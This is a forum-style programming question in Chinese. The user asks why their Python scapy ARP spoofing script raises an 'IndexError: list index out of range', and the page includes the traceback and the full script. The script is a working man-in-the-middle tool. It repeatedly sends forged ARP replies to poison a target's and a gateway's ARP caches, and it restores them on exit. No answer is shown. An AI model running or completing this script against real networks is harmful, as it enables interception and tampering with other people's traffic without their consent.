如何解决为什么在编写ARP欺骗攻击时出现索引错误,提示我的列表超出范围?
我正在尝试将Mac地址自动添加到欺骗和还原功能,而不是手动键入。不久前,它工作正常,但现在却不行。 “ get_mac”函数本身可以工作,但是在我添加此代码时不起作用。为什么会出现此错误?:
Traceback (most recent call last):
File "arp_spoof.py",line 33,in <module>
spoof(target_ip_str,spoof_ip_str)
File "arp_spoof.py",line 15,in spoof
target_mac = get_mac(target_ip_str)
File "arp_spoof.py",line 11,in get_mac
return answered_list[0][1].hwsrc
File "/usr/lib/python3/dist-packages/scapy/plist.py",line 118,in __getitem__
return self.res.__getitem__(item)
IndexError: list index out of range
这是我的代码:
import scapy.all as sc
import time
def get_mac(ip):
arp_request = sc.ARP(pdst=ip)
broadcast = sc.Ether(dst="ff:ff:ff:ff:ff:ff")
arp_broadcast_request = broadcast/arp_request
answered_list = sc.srp(arp_broadcast_request,timeout=4,verbose=False)[0]
return answered_list[0][1].hwsrc
def spoof(target_ip,spoof_ip):
target_mac = get_mac(target_ip_str)
packet = sc.ARP(op=2,pdst=target_ip,hwdst=target_mac,psrc=spoof_ip)
sc.send(packet,verbose=False)
def restore(destination_ip,source_ip):
destination_mac = get_mac(target_ip_str)
source_mac = get_mac(source_ip)
packet = sc.ARP(op=2,pdst=destination_ip,hwdst=destination_mac,psrc=source_ip,hwsrc=source_mac)
sc.send(packet,count=4,verbose=False)
packet_sent_count = 0
target_ip_str = input("Enter the target's IP: ")
spoof_ip_str = input("Enter the gateway or spoof ip: ")
try:
while True:
spoof(target_ip_str,spoof_ip_str)
spoof(spoof_ip_str,target_ip_str)
packet_sent_count += 2
print("\r[+] Packets sent: " + str(packet_sent_count),end="")
time.sleep(2)
except KeyboardInterrupt:
print("\t\t\n[+] Operation stopped by keyboard interruption [+]")
restore(target_ip_str,spoof_ip_str)
restore(spoof_ip_str,target_ip_str)
版权声明:本文内容由互联网用户自发贡献,该文观点与技术仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如发现本站有涉嫌侵权/违法违规的内容, 请发送邮件至 dio@foxmail.com 举报,一经查实,本站将立刻删除。